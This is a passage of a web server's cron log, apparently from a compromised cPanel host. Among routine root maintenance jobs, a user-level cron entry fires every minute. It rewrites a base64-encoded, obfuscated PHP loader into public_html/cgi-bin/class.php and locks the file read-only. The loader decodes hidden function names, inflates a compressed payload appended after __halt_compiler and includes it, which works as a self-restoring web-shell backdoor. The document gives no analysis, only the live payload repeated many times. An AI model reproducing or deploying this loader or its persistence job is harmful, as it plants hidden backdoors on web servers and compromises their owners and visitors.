d/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:45:01 server CROND[3497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:45:01 server CROND[3498]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 19:45:01 server CROND[3499]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 19:46:01 server CROND[3637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:47:01 server CROND[3699]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:48:01 server CROND[3780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:49:01 server CROND[3847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:50:01 server CROND[3921]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 19:50:01 server CROND[3922]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 19:50:01 server CROND[3924]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 19:50:01 server CROND[3926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:50:01 server CROND[3925]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 19:51:01 server CROND[4146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:52:01 server CROND[4202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:53:01 server CROND[4264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:54:01 server CROND[4362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:55:01 server CROND[4437]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 19:55:01 server CROND[4438]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 19:55:01 server CROND[4440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:56:01 server CROND[4650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:57:01 server CROND[4718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:57:01 server CROND[4719]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 19:58:01 server CROND[4796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTR